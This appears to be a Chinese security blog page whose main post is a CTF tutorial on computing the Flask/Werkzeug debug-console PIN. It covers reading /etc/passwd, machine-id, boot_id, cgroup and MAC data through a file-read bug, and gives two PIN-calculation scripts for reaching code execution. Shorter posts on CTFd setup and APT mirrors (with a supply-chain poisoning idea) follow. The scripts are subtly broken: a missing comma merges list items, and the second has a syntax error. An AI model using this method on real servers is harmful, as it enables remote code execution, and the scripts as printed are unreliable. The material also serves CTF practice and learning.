Flask调试模式PIN值计算和利用

这是一段简单的Flask代码

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
    return "Hello World"
app.run(debug=True)

我们开启了调试模式,与此同时控制台输出

> python test.py
 * Serving Flask app 'test'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: XXX-XXX-XXX

访问”/”路由是正常的

但是我们还可以访问一个调试模式下的特殊路由,即使你没有设置过

填入上方控制台的PIN码即可执行Python命令

在计算PIN码之前,我们要知道,Flask的PIN码计算仅与werkzeug的debug模块有关。
与Python版本无关!!!
werkzeug低版本使用MD5,高版本使用SHA1,现在绝大多数都是高版本的利用
werkzeug1.0.x低版本
werkzeug2.1.x高版本
这里直接借用Pysnow的源码分析

# 前面导入库部分省略


# PIN有效时间,可以看到这里默认是一周时间
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

# 获取机器id
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""
        # !!!!!!!!
        # 获取machine-id或/proc/sys/kernel/random/boot_id
        # machine-id其实是机器绑定的一种id
        # boot-id是操作系统的引导id
        # docker容器里面可能没有machine-id
        # 获取到其中一个值之后就break了,所以machine-id的优先级要高一些
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                # 这里进行的是字符串拼接
                linux += value
                break

        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
                # 获取docker的id
                # 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8
                # 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面
        except OSError:
            pass
        if linux:
            return linux

        # OS系统的
        {}

        # 下面是windows的获取方法,由于使用得不多,可以先不管
        if sys.platform == "win32":
            {}
    # 最终获取machine-id
    _machine_id = _generate()
    return _machine_id
# 总结一下,这个machine_id靠三个文件里面的内容拼接而成

class _ConsoleFrame:
    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:

    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    # 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
    # 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # 获取username的值通过getpass.getuser()
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # 此信息的存在只是为了使cookie在
    # 计算机,而不是作为一个安全功能。
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ] # 这里又多获取了两个值,appname和moddir
    # getattr(app, "__name__", type(app).__name__):appname,默认为Flask
    # getattr(mod, "__file__", None):moddir,可以根据报错路劲获取,

    # 这个信息是为了让攻击者更难
    # 猜猜cookie的名字。它们不太可能被控制在任何地方
    # 在未经身份验证的调试页面中。
    private_bits = [str(uuid.getnode()), get_machine_id()]
    # 获取uuid和machine-id,通过uuid.getnode()获得
    h = hashlib.sha1()
    # 使用sha1算法,这是python高版本和低版本算pin的主要区别
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # 如果我们需要做一个大头针,我们就多放点盐,这样就不会
    # 以相同的值结束并生成9位数字
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    # 这就是主要的pin算法,脚本可以直接照抄这部分代码
    return rv, cookie_name

生成条件

probably_public_bits

有如下四个变量:

username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)
-----------------------------------
username:通过/etc/passwd这个文件去猜
modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得

private_bits

有如下三个变量:

uuid
machine-id

-----------------------------------
uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
machine-id:
machine-id是通过**三个文件**里面的内容经过处理后拼接起来

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)

之前做题的时候被别人博客关于machine-id的部分误导了,重要的部分我在上面都打上了星号,有些docker机器是存在12这两个文件的,例如某些k8s的CTF靶场

最后把上面的信息结合下,用下面两个脚本可以算出PIN值

低版本(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#username,通过/etc/passwd
    'flask.app',#modname,默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

高版本(werkzeug>=2.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'#/etc/passwd
    'flask.app',#默认值
    'Flask',#默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'#moddir,报错得到
]

private_bits = [
    '2485377568585',/sys/class/net/eth0/address 十进制
    '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
    #看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

题目就不复现了,2023/7月的DAS,es_flask就是简单的原型链污染,但是这个flask折磨了很久,没有吃透源码被博客坑惨了
只要有任意文件读+Flask的调试模式就可以做

参考资料

Pysnow-https://pysnow.cn/archives/170/

【CTFd】靶场安装与配置(同时支持Whale+Owl+AWD的Docker一键配置版v2)

V2更新了一些小东西
!!!NeedStar!!!Github-CTFd-docker
该版本的CTFd全部运行在docker中,并且通过映射unix在docker里面控制宿主机的docker,以管理docker动态容器。使用该项目可以在5-10min之内构建出支持动态容器的靶场。
旧的文章-【CTFd】靶场安装与配置(Docker一键配置版)
前面一段时间,想基于CTFd进行二开一下。有不少前辈给CTFd写过插件,例如赵总的Whale,H1ve的Owl,和支持AWD的glowworm。
他们写的插件各有好处,Whale支持swarm的部署,Owl支持docker-compose(暂时不支持swarm,后面可以改,不过暂时没空),glowworm是目前唯一一个AWD插件。其中Whale和Owl都以来与Frp进行流量转发,通过不断重载frpc的配置实现,但是他们两个插件并不是增量刷新,而是以直接覆盖的形式进行。于是我整合了两个插件的内容和,让他们共用一个frps模块(现在才想到为什么不能用两个呢,但是这就要两个域名了不是吗)。
然而事情不是一帆风顺的,在修改了插件的目录结构后,整个插件都不能正常初始化了,还得对他们进行依赖的修改。然后对旧版的owl插件进行一定的修改,使用了新版的docker-compose工具以支持swarm的使用。
TODO: owl插件更新swarm支持
另外作为一个安全平台,不更新到最新版本的CTFd内核总是有点不太合适,于是更新到了CTFd 3.5.2版本,也修改了不少安装流程,优化了安装体验,可以在docker-compose里面自定义域名等,也会自动生成密钥不容易被攻击。

同时也测试了很多不同系统,也用该系统在本校新生赛中构建了一个全新的靶场,体验很棒。
小记而已,暂时就这样了。

APT源的工作原理

引言

最近在折腾自己学校的镜像源,看到差不多20T的硬盘都被塞满了,我是很好奇系统是如何管理这些文件的,于是顺便就研究下APT源的工作原理

原理

在Ubuntu/Debian等系统下,常见的应用安装方式为apt/apt-get
前者可以说是后者的升级版,提供了更友好的命令行界面,包含了apt-get和apt-cache等常用功能,本质上都是基于dpkg的高级包管理工具。
Ubuntu/Debian采用集中式的软件仓库机制,将各式各样的软件包分门别类地存放在软件仓库中,进行有效地组织和管理。由于网络环境的问题,我们可能无法正常访问官方的软件仓库,所以许多镜像服务器被建立,并且时刻保持与官方服务器的同步。在使用apt之前,我们一般都会进行换源处理【脚本】Linux换源汇总
换源主要是修改位于/etc/apt/source.list的源文件,这个文件记录了可获取软件包的镜像站的站点地址。
我们将在其中加入自己的镜像源地址,下列是一个案例

deb http://mirrors.szu.moe/ubuntu jammy main restricted
# deb-src http://mirrors.szu.moe/ubuntu jammy main restricted
deb http://mirrors.szu.moe/ubuntu jammy-updates main restricted
# deb-src http://mirrors.szu.moe/ubuntu jammy-updates main restricted
deb http://mirrors.szu.moe/ubuntu jammy universe
# deb-src http://mirrors.szu.moe/ubuntu jammy universe
deb http://mirrors.szu.moe/ubuntu jammy-updates universe
# deb-src http://mirrors.szu.moe/ubuntu jammy-updates universe
deb http://mirrors.szu.moe/ubuntu jammy multiverse
# deb-src http://mirrors.szu.moe/ubuntu jammy multiverse
deb http://mirrors.szu.moe/ubuntu jammy-updates multiverse
# deb-src http://mirrors.szu.moe/ubuntu jammy-updates multiverse
deb http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
# deb-src http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
deb http://mirrors.szu.moe/ubuntu jammy-security main restricted
# deb-src http://mirrors.szu.moe/ubuntu jammy-security main restricted
deb http://mirrors.szu.moe/ubuntu jammy-security universe
# deb-src http://mirrors.szu.moe/ubuntu jammy-security universe
deb http://mirrors.szu.moe/ubuntu jammy-security multiverse

镜像源地址遵循以下格式

DebType AddressType://Hostaddress/ubuntu Distribution Component1 Component2.....

其中各字段含义如下所示。
1. DebType表示Deb软件包类型,使用deb表示二进制软件包,使用deb-src表示源码包;
对于大部分用户来说,二进制软件包即可完成安装,二进制软件包会被安装在系统的默认目录下(usr/share和usr/bin)。而源码包需要自己编译安装,但可以自己指定安装位置。
源码可以通过apt-get source PackageName获得,以下是源码安装的一个例子(g2o)

cd g2o
mkdir build && cd build
cmake ..
make -j8 -DCMAKE_INSTALL_PREFIX=/usr/local/g2o/
sudo make install
  1. AddressType表示访问地址类型,常用类型有:http、https、ftp、file、cdrom、ssh等;
    目前一般镜像源支持前两个,ftp少部分支持。
  2. Distribution表示Ubuntu的各个发行版本,例如dapper、feisty;
    本样例中jammy代表Ubuntu 22.04 LTS版本的代号
    其中-security(安全相关)、-proposed(测试版)、-updates(更新相关)、-backports(向后移植/兼容)
  3. Component表示软件包组件类别,是由技术支持程度不同而划分的类别,可选择main、restricted、universe和multiverse中的一种或多种。
    main:完全的自由软件。
    restricted:不完全的自由软件。
    universe:ubuntu官方不提供支持与补丁,全靠社区支持。
    muitiverse:非自由软件,完全不提供支持和补丁。

软件源配置文件只是告知系统可以访问的镜像站点地址,但那些镜像站点具体都拥有什么软件资源并不清楚。若每安装一个软件包,就在服务器上寻找一遍,效率是很低的。因而镜像源提供了索引文件,以便本地主机查询apt update即更新索引文件

root@aurora-rsync:/home/aurora# apt update
Get:1 http://mirrors.szu.moe/ubuntu jammy InRelease [270 kB]
Hit:2 http://mirrors.szu.moe/ubuntu jammy-updates InRelease
Hit:3 http://mirrors.szu.moe/ubuntu jammy-backports InRelease
Hit:4 http://mirrors.szu.moe/ubuntu jammy-security InRelease
Fetched 270 kB in 1s (372 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
root@aurora-rsync:/home/aurora# cat /var/log/nginx/access.log
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy/InRelease HTTP/1.1" 200 270087 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-updates/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-backports/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"

对于update,会根据源的相关设置访问/ubuntu/dists/(设置的Distribution)/InRelease的文件,这个也是一个索引,记录了有哪些相应平台的包存储在服务器上

 b96c0cfe911414e1b7f2df5c88844369          1192665 main/binary-amd64/Packages.gz
 84a735928def889314d9d28d0819425c          1068823 main/binary-arm64/Packages.gz
 6a1ab8e4d5aa235c81e2e036e01e9926           775999 main/binary-armhf/Packages.gz
 8d8471fdecfb661f6580df6096a53c6a           570121 main/binary-i386/Packages.gz
 3a43d2dda28cf2e7e1d885484a1ce249           732797 main/binary-ppc64el/Packages.gz
 8ac0edaecf66d4bd0631294a7908154b           690004 main/binary-riscv64/Packages.gz
 fb78c7c1b05b2dba72b8ec6d99bb6462           717683 main/binary-s390x/Packages.gz

系统会根据自己的平台下载相应的包索引,本平台为amd64,所以访问main/binary-amd64/Packages.gz下载
下列出的是其中的一部分,索引中包含如下信息
包名,优先级,类型,维护者,架构,源文件(source),版本号,依赖包,冲突性信息,包大小,文件的下载路径,MD5sum,SHA1,包描述,Xul-Appid—应用程序id,Bugs信息,Origin,Supported

......
Package: accountsservice
Architecture: amd64
Version: 22.07.5-2ubuntu1.3
Priority: optional
Section: gnome
Origin: Ubuntu
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
Original-Maintainer: Debian freedesktop.org maintainers <pkg-freedesktop-maintainers@lists.alioth.debian.org>
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Installed-Size: 500
Depends: dbus (>= 1.9.18), libaccountsservice0 (= 22.07.5-2ubuntu1.3), libc6 (>= 2.34), libglib2.0-0 (>= 2.63.5), libpolkit-gobject-1-0 (>= 0.99)
Recommends: default-logind | logind
Suggests: gnome-control-center
Filename: pool/main/a/accountsservice/accountsservice_22.07.5-2ubuntu1.3_amd64.deb
Size: 69728
MD5sum: a2acf0a225e2c30ccb985a66a4dfb848
SHA1: 1c2b73bc5c72bc44cade5ef6fa444dbea1ea69ec
SHA256: f8ed006eb680e9d8a9b55af88b3786f6892d6d2764586ec4853cf954da119596
SHA512: 9496d225169db5524f7bf9c0fb1cbdfac3ab6261b4725ed56c282d5865678881c8841c539a5b87182306ed66dcc9225a15986083dc72cf7433a30bf601507cc7
Homepage: https://www.freedesktop.org/wiki/Software/AccountsService/
Description: query and manipulate user account information
Task: ubuntu-desktop-minimal, ubuntu-desktop, ubuntu-desktop-raspi, kubuntu-desktop, xubuntu-core, xubuntu-desktop, lubuntu-desktop, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-budgie-desktop, ubuntu-budgie-desktop-raspi
Description-md5: 8aeed0a03c7cd494f0c4b8d977483d7e
......

然后apt再将Packages.gz里面的信息以某种数据结构形式导入本地数据库以便快速查找,即完成了
“`apt update“`的一系列操作
其后的`apt install`会借助上述Depends信息自动安装相关依赖,而源码安装则需要自己配置依赖了,所以现在十分不推荐使用

题外话

二进制安装好像是最近(2016年)才开始流行的,可能是因为计算和存储能力有了阶段性提升。Python也采用的是二进制安装与编译安装相结合的方式,二进制安装会从源上下载一个whl后缀的文件,whl格式本质上是一个压缩包,里面包含了py文件,以及经过编译的pyd文件。使得可以在不具备编译环境的情况下,选择合适自己的python环境进行安装。
二进制安装更加简单和快速,不需要用户花费时间和精力去编译源代码,处理编译过程中出现的错误和问题,考虑不同的编译器和命令,也不需要用户管理不同的依赖库。与之相对应的会占用服务器资源(编译源代码),以及存储不同平台的二进制文件。

奇思妙想?

根据上述结论,我们可以通过修改APT源中的Packages.gz文件,在其中添加/修改某些包地址,使其变成恶意文件,如果没有相关签名/校验环节,理论上我们可以完成一次供应链攻击。
所以一般来说要使用足够信任的源,具体实现有待测试。
Todo:APT源实现供应链攻击

【日记】Web方向入门的一些小建议

转眼大一已经过去了,然而大学生活才刚刚开始。回想2021年10月,我打的第一场CTF比赛,我参加了Aurora的新生赛,这是我参加的第一场比赛,那是我第一次接触网络安全。在那将近一天的时间里,我现学现卖,从我最擅长的Web题开始到需要捣鼓的Misc题,我完成了不少挑战,也在新生赛获得了不错的成绩,以此加入了深大的Aurora战队。

篡权之后登录自己学校的靶场,发现之前的提交记录都被我干掉了,有点惋惜。
file

继续阅读【日记】Web方向入门的一些小建议

【Web】Anaconda介绍、安装及使用

介绍

Anaconda是Python和Conda的组合包,里面附带了不少科学计算使用的Python依赖,并且可以通过Conda进行版本管理,能够便携获得管理包
Conda不仅支持Python,还支持R, Ruby, Lua, Scala, Java, JavaScript, C/C++, FORTRAN语言(虽然大部分都用不上)

继续阅读【Web】Anaconda介绍、安装及使用